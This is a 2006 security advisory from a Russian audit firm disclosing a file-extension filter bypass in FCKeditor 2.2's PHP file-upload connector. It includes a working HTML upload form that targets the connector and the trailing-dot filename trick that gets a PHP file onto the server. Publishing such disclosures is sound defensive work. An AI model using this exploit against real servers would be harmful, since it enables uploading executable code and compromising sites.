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NSA Group Security Advisory NSAG-¹196-23.02.2006 Vulnerability FCKeditor 2.2

From: NSA Group (vulnerabilitynsag.ru)
Date: Thu Feb 23 2006 - 15:31:43 CST


Advisory:
NSAG-¹196-23.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:
FCKeditor 2.2

Site of manufacturer:
http://www.fckeditor.net

The status:
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is notified.
21/02/2006 - Answer of the manufacturer is absent.
21/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/893.html

Risk:
Critical

Description:
Detour of a filtration of expansions of files is possible.

Influence:
Loading of the forbidden files on target system.
 
Exploit:

<form action="http://host/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/" method="POST" enctype="multipart/form-data">
File Upload<br>
<input id="txtFileUpload" type="file" name="NewFile">
<br>
<input type="submit" value="Upload">
</form>

In the end of a name of a loaded file to put a symbol "."(dot) (an example: testfile.php.)
As a result on a server the file testfile.php will be created

Decision:
The decision from the manufacturer is not known. Contact us and receive consultations.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Our company is the independent auditor of the software in market IT.
At present independent audit of the software becomes the standard practice
and we suggest to make a let out product as much as possible protected from a various sort of attacks of malefactors!

www.nsag.ru
«Nemesis» © 2006
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Nemesis Security Audit Group © 2006.